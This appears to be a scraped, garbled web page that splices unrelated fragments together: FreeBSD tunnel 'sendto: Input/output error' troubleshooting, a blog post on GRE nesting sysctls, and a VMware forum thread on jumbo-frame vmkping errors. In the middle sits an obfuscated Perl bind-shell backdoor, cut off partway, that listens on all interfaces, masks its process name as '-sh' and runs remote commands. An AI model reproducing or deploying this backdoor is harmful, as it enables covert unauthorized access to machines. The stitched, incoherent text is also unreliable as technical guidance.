Ping Sendto Input/output Error
Contents |
of IPIP tunnels on a
Unable To Redirect Default Gateway Cannot Read Current Default Gateway From System
FreeBSD system (destined to Cisco routers). I have what I believe
Openvpn Route-gateway
is the correct setup on the FreeBSD box but am getting a ping error when testing the second IPIP
Failed To Parse/resolve Route For Host/network
tunnel: bash-2.05b# ping 10.2.2.2 PING 10.2.2.2 (10.2.2.2): 56 data bytes ping: sendto: Input/output error ping: sendto: Input/output error ping: sendto: Input/output error The first tunnel works fine and if I generate the ping from the Cisco side (on redirect-gateway def1 the second tunnel) the packets get to the FreeBSD box just fine. Here's my interface config: bash-2.05b# gifconfig -a gif0: flags=8051
invalid records on X date. grep -ER ’^[[:space:]]+IN[[:space:]]+A[[:space:]]*$’ /backup/ns1/.zfs/snapshot/2011-09-26-2358/etc/namedb/zones_* www IN A 8.8.8.8 my ip IN A Original Article Posted 5 years ago Things I’ve Learned From Being White In The Presence Of Asians « Thought Catalog → FreeBSD: GRE tunnels, no data flow. (ping: sendto: Input/output error) Lets assume that 192.168.54.1 is a host we reach through a GRE tunnel, this time gre1, and the source of http://lists.freebsd.org/pipermail/freebsd-net/2003-August/001205.html the packet is from another GRE tunnel, gre0. This setup might give the following error when nesting packets between tunnels, that is to say packets attempting to pass from gre0 to gre1. 64 bytes from 192.168.54.1: icmp_seq=166 ttl=253 time=22.339 ms ping: sendto: Input/output error This is a feature not a bug, the maximum ‘nested’ http://ohry.tumblr.com/ (one GRE to another) setting in the kernel will prevent simultaneous packets from passing unless tuned. As shown on the `gif` manpage: “By default, gif tunnels may not be nested. This behavior may be modified at runtime by setting the sysctl variable net.link.gif.max_nesting to the desired level of nesting” box:~# sysctl net.link.gre.max_nesting net.link.gre.max_nesting: 1 as 1 is the default setting for this sysctl, raising it until the error disappears from /var/log/dmesg is the best way to enable nested tunnels. eg: box:~# sysctl net.link.gre.max_nesting=2 *wait a while* grep 'gre_output: recursively called too many times’ /var/log/dmesg.today If you continue to see “gre0: gre_output: recursively called too many times(2)” appear, raise the sysctl further. Original Article Posted 5 years ago perl bd: bind to socket, execute commands (with authentication) #!/usr/bin/perl #ohry #bind to a port and execute cmds use IO::Socket::INET; $process = "-sh"; $0="$process"."\0"x16; $OOO00O0=shift;$0000000000=shift;($OOO00,$OOO000);($peeraddress,$peerport);$winning=0; if((!$OOO00O0)||(!$0000000000)){ print "\x75\x73\x61\x67\x65\x3a\x20\x2e\x2f\x73\x61\x72\x69\x6e\x20\x3c\x6c\x6f\x63\x61\x6c\x70\x6f\x72\x74\x3e\x20\x3c\x70\x61\x73\x73\x77\x6f\x72\x64\x3e\x0a"; die;} #close(STDIN);close(STDERR);close(STDOUT); $OOO00 = new IO::Socket::INET(LocalHost=>"\x30\x2e\x30\x2e\x30\x2e\x30",LocalPort=>"$OOO00O0",Proto=>"\x74\x63\x70",Listen=>5,Reuse=>1)or die; while(1){$OOO000=$OOO00->accept(); $peer_address=$OOO000->peerhost(); $peer_port=$OOO000->peerport(); $OO0O00="\x5c\x21\x2f\x20\x74\x72\x69\x73\x74\x34\x6e\x20\x74\x63\x70\x20\x73\x6f\x63\x6b\x65\x74\x20\x62\x61\x63\x6b\x64\x6f\x6f\x72\x20\x5c\x21\x2f\x0a\x0a"; print $OOO000->send($OO0O00); $OO000="\x2e\x2a\x3f"
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NSXVirtual SAN vCenterFusionWorkstationvExpertVMware {code} CloudCredSubmit a Link Home > VMTN > VMware vSphere™ > VMware ESXi 5 > Discussions Please enter a title. You can not post a blank message. Please type your message and try again. 11 Replies Latest reply: Aug 23, 2014 2:01 PM by DRadford vmkping -d -s 9000 sendto () (message too long) tdubb123 Mar 18, 2014 1:26 PM I am getting an error when doing a jumbo packet ping to my iscsi storageeverything has been set to 9000mtu end to endvmkping -s 9000 storageip responds finebut when i put the -d flag in I getsendto () failed (message too long)any idea? I tried vmkping -I vmkernel_nic as well but same problem 4895Views Tags: none (add) This content has been marked as final. Show 11 replies 1. Re: vmkping -d -s 9000 sendto () (message too long) a.p. Mar 18, 2014 1:41 PM (in response to tdubb123) You need to subtract some header data bytes when you use the ping command. Use 8972 instead. See http://rickardnobel.se/troubleshoot-jumbo-frames-with-vmkping/ for detailsAndré Like Show 0 Likes (0) Actions 2. Re: vmkping -d -s 9000 sendto () (message too long) tdubb123 Mar 18, 2014 1:55 PM (in response to a.p.) still doesnt work1 packets transmitted, 0 packets received, 100% packet loss/vmfs/volumes/504d1fa5-1c455cec-0519-0024e85c1297/pa-vc # vmkping -I vmk5 -d -s 8972 10.60.1.106PING 10.60.1.106 (10.60.1.106): 8972 data bytessendto() failed (Message too long)sendto() failed (Message too long)sendto() failed (Message too long) Like Show 0 Likes (0) Actions 3. Re: vmkping -d -s 9000 sendto () (message too long) a.p. Mar 18, 2014 1:59 PM (in response to tdubb123) In this case you need to check which part in the chain isn't configured properly.port groups -> vSwitch -> physical switch -> storage systemAndré Like Show 0 Likes (0) Actions 4. Re: vmkping -d -s 9000 sendto () (message too long) zXi_Gamer Mar 19, 2014 1:58 AM (in response to tdubb123) If you are using 5.5, then you can use pktcap-uw to identify where the drop is happening Like Show 0 Likes (0) Actions 5. Re: vmkping -d -s 9000 sendt